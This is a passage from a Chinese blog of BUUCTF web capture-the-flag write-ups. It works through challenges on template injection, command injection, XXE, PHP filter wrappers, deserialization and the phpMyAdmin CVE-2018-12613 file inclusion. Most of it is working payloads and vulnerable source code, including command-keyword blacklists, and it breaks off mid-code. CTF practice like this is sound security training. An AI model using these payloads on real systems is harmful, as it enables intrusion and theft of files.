1. [BJDCTF2020]Cookie is so stable
  2. [WUSTCTF2020]朴实无华
  3. [安洵杯 2019]easy_web
  4. [NCTF2019]Fake XML cookbook
    1. XXE
  5. [强网杯 2019]高明的黑客
  6. [BJDCTF2020]Mark loves cat
  7. [BSidesCF 2020]Had a bad day
  8. [网鼎杯 2020 朱雀组]phpweb
  9. [GWCTF 2019]我有一个数据库
  10. [BJDCTF2020]ZJCTF,不过如此
  11. [GXYCTF2019]禁止套娃
  12. [BJDCTF2020]The mystery of ip
  13. [BUUCTF 2018]Online Tool
  14. [RoarCTF 2019]Easy Java
  15. [GXYCTF2019]BabyUpload
  16. [网鼎杯 2018]Fakebook
    1. hint
  17. [CISCN2019 华北赛区 Day2 Web1]Hack World
    1. 简单测试
    2. 二分法穷举
  18. [GYCTF2020]Blacklist
    1. 联合注入
    2. 堆叠注入
    3. handler查询
  19. [GXYCTF2019]BabySQli
    1. hint
    2. fuzz
  20. [网鼎杯 2020 青龙组]AreUSerialz
  21. [MRCTF2020]Ez_bypass
    1. 数组绕过强类型比较
    2. 字符串或 %00 绕过 is_numeric
  22. [MRCTF2020]你传你🐎呢
    1. .htaccess
    2. 一句话
  23. [极客大挑战 2019]HardSQL
    1. 报错注入
  24. [SUCTF 2019]CheckIn
    1. .user.ini
    2. exif_imagetype
  25. [ZJCTF 2019]NiZhuanSiWei
    1. data://
    2. php://filter
    3. payload
  26. [BJDCTF2020]Easy MD5
    1. hint
    2. 绕过
    3. 第二步
    4. 第三步
  27. [HCTF 2018]admin
    1. hint
    2. 预期解
    3. 非预期
  28. [极客大挑战 2019]BuyFlag
    1. cookie
    2. 松散比较
    3. 科学计数法或数组
  29. [护网杯 2018]easy_tornado
    1. hint
  30. [ACTF2020 新生赛]BackupFile
    1. Payload
  31. [极客大挑战 2019]BabySQL
  32. [极客大挑战 2019]PHP
    1. Exploit
    2. Payload
  33. [RoarCTF 2019]Easy Calc
  34. [极客大挑战 2019]LoveSQL
    1. hint
    2. 尝试联合注入
  35. [强网杯 2019]随便注
    1. 源码
    2. 联合注入
    3. 堆叠注入
    4. 预处理语句绕过
    5. 替换表名列名
  36. [GXYCTF2019]Ping Ping Ping
    1. 变量替换
    2. 内联执行
    3. 编码绕过
  37. [ACTF2020 新生赛]Exec
  38. [ACTF2020 新生赛]Upload
  39. [极客大挑战 2019]Upload
    1. 需绕过复合检测
  40. [极客大挑战 2019]Knife
  41. [极客大挑战 2019]Secret File
    1. Burp 拦截
    2. php://filter 获取源码
    3. flag and secr3t
  42. [ACTF2020 新生赛]Include
    1. hint
    2. PHP 伪协议
  43. [SUCTF 2019]EasySQL
    1. var_dump
    2. 堆叠注入
  44. [极客大挑战 2019]EasySQL
  45. [极客大挑战 2019]Http
  46. [极客大挑战 2019]Havefun
  47. [HCTF 2018]WarmUp
    1. hint
BUUCTF Web Writeups | CTF
2020-05-19 / CTF / btwoa / 111k

本文部分信息可能已发生改变,请自行甄别

[BJDCTF2020]Cookie is so stable

/flag.php

存在模板注入

{{3*3}} => %20%7b%7b%33%2a%33%7d%7d

{{3*'3'}} => %7b%7b%33%2a%27%33%27%7d%7d

Twig 模板注入

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls")} => %7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%72%65%67%69%73%74%65%72%55%6e%64%65%66%69%6e%65%64%46%69%6c%74%65%72%43%61%6c%6c%62%61%63%6b%28%22%73%79%73%74%65%6d%22%29%7d%7d%7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%67%65%74%46%69%6c%74%65%72%28%22%6c%73%22%29%7d%7d
```

![](https://ovo.btwoa.com/img/webp/202205251426691.webp)

```
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls /")}} => %7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%72%65%67%69%73%74%65%72%55%6e%64%65%66%69%6e%65%64%46%69%6c%74%65%72%43%61%6c%6c%62%61%63%6b%28%22%73%79%73%74%65%6d%22%29%7d%7d%7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%67%65%74%46%69%6c%74%65%72%28%22%6c%73%20%2f%22%29%7d%7d

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}} => %7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%72%65%67%69%73%74%65%72%55%6e%64%65%66%69%6e%65%64%46%69%6c%74%65%72%43%61%6c%6c%62%61%63%6b%28%22%73%79%73%74%65%6d%22%29%7d%7d%7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%67%65%74%46%69%6c%74%65%72%28%22%63%61%74%20%2f%66%6c%61%67%22%29%7d%7d

[WUSTCTF2020]朴实无华

扫目录

py -3 dirsearch.py -u http://a14b2b12-84cc-4091-ad39-ccb3ef43d269.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429

/robots.txt

User-agent: *
Disallow: /fAke_f1agggg.php

hint: Look_at_me: /fl4g.php

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

PHP/5.5.38 科学记数法绕过 intval 2e9

md5弱类型比较

0e215962017
=>
0e291242476940776845150308577824

黑名单绕过 ${IFS} 绕过空格

?num=2e9&md5=0e215962017&get_flag=ls

?num=2e9&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[安洵杯 2019]easy_web

data 协议传输图片

<img src="data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=">

尝试解码 img 参数

两次 base64 解码,一次 hex 解码

TXpVek5UTTFNbVUzTURabE5qYz0
=> 
MzUzNTM1MmU3MDZlNjc=
=> 
3535352e706e67
=> 
555.webp

读取源码

index.php
=> 
696e6465782e706870
=> 
Njk2ZTY0NjU3ODJlNzA2ODcw
=> 
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=

base64 解码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

md5 强类型比较

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

cmd 传参处 dir 没有过滤

\绕过正则匹配

[NCTF2019]Fake XML cookbook

XXE使用file协议读取flag

XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE username [
    <!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>0</password></user>

[强网杯 2019]高明的黑客

/www.tar.gz

下载源码

需要找到可以利用的有效代码段

有许多可用的脚本,如下

$XnEGfa = $_GET['Efa5BVG'] ?? ' ';

[BJDCTF2020]Mark loves cat

在 CONTACT 处尝试后无果

扫目录

GitHack 下载源码

index.php

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

 ?>

flag.php

<?php

$flag = file_get_contents('/flag');

?>

exit 输出一个消息并且退出当前脚本,当参数是字符串时输出字符串,当参数为 int 型时作为退出状态码不会输出,退出状态码为0时成功中止

foreach 函数存在变量覆盖

get 传参时变量名不能为 flag 且 变量值为 flag 时输出当前 $handsome 的值

当 get post 的参数不含 flag 时输出当前 $yds 的值

当 get post 的参数同为 flag 时输出当前 $is 的值

yds=flag

is=flag&flag=flag

handsome=flag&flag=x&x=flag

[BSidesCF 2020]Had a bad day

category=php://filter/read=convert.base64-encode/resource=index.php

include(php://filter/read=convert.base64-encode/resource=index.php.php)

报错提示多了个 .php

category=php://filter/read=convert.base64-encode/resource=index

PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFsLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3JleS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciBtZGwtbGF5b3V0X19oZWFkZXIgbWRsLWxheW91dF9faGVhZGVyLS1zY3JvbGwgbWRsLWNvbG9yLS1ncmV5LTEwMCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAiPgogICAgICAgIDxkaXYgY2xhc3M9Im1kbC1sYXlvdXRfX2hlYWRlci1yb3ciPgogICAgICAgICAgPHNwYW4gY2xhc3M9Im1kbC1sYXlvdXQtdGl0bGUiPkhhZCBhIGJhZCBkYXk/PC9zcGFuPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWxheW91dC1zcGFjZXIiPjwvZGl2PgogICAgICAgIDxkaXY+CiAgICAgIDwvaGVhZGVyPgogICAgICA8ZGl2IGNsYXNzPSJwYWdlLXJpYmJvbiI+PC9kaXY+CiAgICAgIDxtYWluIGNsYXNzPSJwYWdlLW1haW4gbWRsLWxheW91dF9fY29udGVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250YWluZXIgbWRsLWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWNlbGwgbWRsLWNlbGwtLTItY29sIG1kbC1jZWxsLS1oaWRlLXRhYmxldCBtZGwtY2VsbC0taGlkZS1waG9uZSI+PC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQgbWRsLWNvbG9yLS13aGl0ZSBtZGwtc2hhZG93LS00ZHAgY29udGVudCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAgbWRsLWNlbGwgbWRsLWNlbGwtLTgtY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jcnVtYnMgbWRsLWNvbG9yLXRleHQtLWdyZXktNTAwIj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxoMz5DaGVlciB1cCE8L2gzPgogICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgRGlkIHlvdSBoYXZlIGEgYmFkIGRheT8gRGlkIHRoaW5ncyBub3QgZ28geW91ciB3YXkgdG9kYXk/IEFyZSB5b3UgZmVlbGluZyBkb3duPyBQaWNrIGFuIG9wdGlvbiBhbmQgbGV0IHRoZSBhZG9yYWJsZSBpbWFnZXMgY2hlZXIgeW91IHVwIQogICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWluY2x1ZGUiPgogICAgICAgICAgICAgIDw/cGhwCgkJCQkkZmlsZSA9ICRfR0VUWydjYXRlZ29yeSddOwoKCQkJCWlmKGlzc2V0KCRmaWxlKSkKCQkJCXsKCQkJCQlpZiggc3RycG9zKCAkZmlsZSwgIndvb2ZlcnMiICkgIT09ICBmYWxzZSB8fCBzdHJwb3MoICRmaWxlLCAibWVvd2VycyIgKSAhPT0gIGZhbHNlIHx8IHN0cnBvcyggJGZpbGUsICJpbmRleCIpKXsKCQkJCQkJaW5jbHVkZSAoJGZpbGUgLiAnLnBocCcpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQllY2hvICJTb3JyeSwgd2UgY3VycmVudGx5IG9ubHkgc3VwcG9ydCB3b29mZXJzIGFuZCBtZW93ZXJzLiI7CgkJCQkJfQoJCQkJfQoJCQkJPz4KCQkJPC9kaXY+CiAgICAgICAgICA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiIGlkPSJjaG9pY2UiPgogICAgICAgICAgICAgIDxjZW50ZXI+PGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2hvaWNlJykuc3VibWl0KCk7IiBuYW1lPSJjYXRlZ29yeSIgdmFsdWU9Indvb2ZlcnMiIGNsYXNzPSJtZGwtYnV0dG9uIG1kbC1idXR0b24tLWNvbG9yZWQgbWRsLWJ1dHRvbi0tcmFpc2VkIG1kbC1qcy1idXR0b24gbWRsLWpzLXJpcHBsZS1lZmZlY3QiIGRhdGEtdXBncmFkZWQ9IixNYXRlcmlhbEJ1dHRvbixNYXRlcmlhbFJpcHBsZSI+V29vZmVyczxzcGFuIGNsYXNzPSJtZGwtYnV0dG9uX19yaXBwbGUtY29udGFpbmVyIj48c3BhbiBjbGFzcz0ibWRsLXJpcHBsZSBpcy1hbmltYXRpbmciIHN0eWxlPSJ3aWR0aDogMTg5LjM1NnB4OyBoZWlnaHQ6IDE4OS4zNTZweDsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSkgdHJhbnNsYXRlKDMxcHgsIDI1cHgpOyI+PC9zcGFuPjwvc3Bhbj48L2J1dHRvbj4KICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG9pY2UnKS5zdWJtaXQoKTsiIG5hbWU9ImNhdGVnb3J5IiB2YWx1ZT0ibWVvd2VycyIgY2xhc3M9Im1kbC1idXR0b24gbWRsLWJ1dHRvbi0tY29sb3JlZCBtZGwtYnV0dG9uLS1yYWlzZWQgbWRsLWpzLWJ1dHRvbiBtZGwtanMtcmlwcGxlLWVmZmVjdCIgZGF0YS11cGdyYWRlZD0iLE1hdGVyaWFsQnV0dG9uLE1hdGVyaWFsUmlwcGxlIj5NZW93ZXJzPHNwYW4gY2xhc3M9Im1kbC1idXR0b25fX3JpcHBsZS1jb250YWluZXIiPjxzcGFuIGNsYXNzPSJtZGwtcmlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==

 <?php
    $file = $_GET['category'];
    
    if(isset($file))
    {
        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
            include ($file . '.php');
        }
        else{
            echo "Sorry, we currently only support woofers and meowers.";
        }
    }
 ?>

参数被限制为 woofers meowers index

伪协议嵌套其中一个达到可以匹配 flag 的目的

php://filter/read=convert.base64-encode/woofers/resource=flag

也可以这样构造

category=php://filter/read=convert.base64-encode/resource=woofers/../flag

PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7MWUwNzY5N2ItYjc1OC00ZDNhLWFhOTEtYmEwNWM0ZDg4MDQ3fQo/Pgo=
<!-- Can you read this flag? -->
<?php
 // flag{1e07697b-b758-4d3a-aa91-ba05c4d88047}
?>

[网鼎杯 2020 朱雀组]phpweb

func=date&p=Y-m-d+h%3Ai%3As+a

调用 date 函数并传入 『Y-m-d h:i:s a』

尝试获取源码

尝试调用 readfile file_get_contents highlight_file 函数

func=readfile&p=index.php

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

__destruct

<?php
class Test {
    var $func="system";
    var $p = "cat $(find / -name flag*";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a=new Test();
echo serialize($a);
?>
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:25:"cat $(find / -name flag*)";}

反斜杠绕过黑名单

[GWCTF 2019]我有一个数据库

编码有问题

扫目录

phpMyAdmin 版本号是 4.8.1

查到 CVE-2018-12613

phpmyadmin4.8.1后台getshell

?target=db_sql.php%253f/../../../../../../../../etc/passwd

?target=db_sql.php%253f/../../../../../../../../flag

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

SELECT '<?php phpinfo()?>';

查看 SESSION ID

?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_5nl1lmmrps8lfjr2l8upr9h9g3

SHOW variables LIKE '%datadir%';

?target=db_sql.php%253f/../../../../../../var/lib/mysql/data/test/test.frm

[BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

php伪协议,文件包含,preg_replace函数e模式

php://input post 传输 I have a dream

data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=
file=php://filter/read=convert.base64-encode/resource=next.php

PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id; 

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

CVE-2016-5734 由 preg_replace 引发的 RCE

深入研究preg_replace与代码执行

?\S*={${phpinfo()}}

?\S*=${getFlag()}&cmd=system('cat /flag');

L1ch师傅的另一种思路

?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

[GXYCTF2019]禁止套娃

扫目录发现 .git

GitHack 获取源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
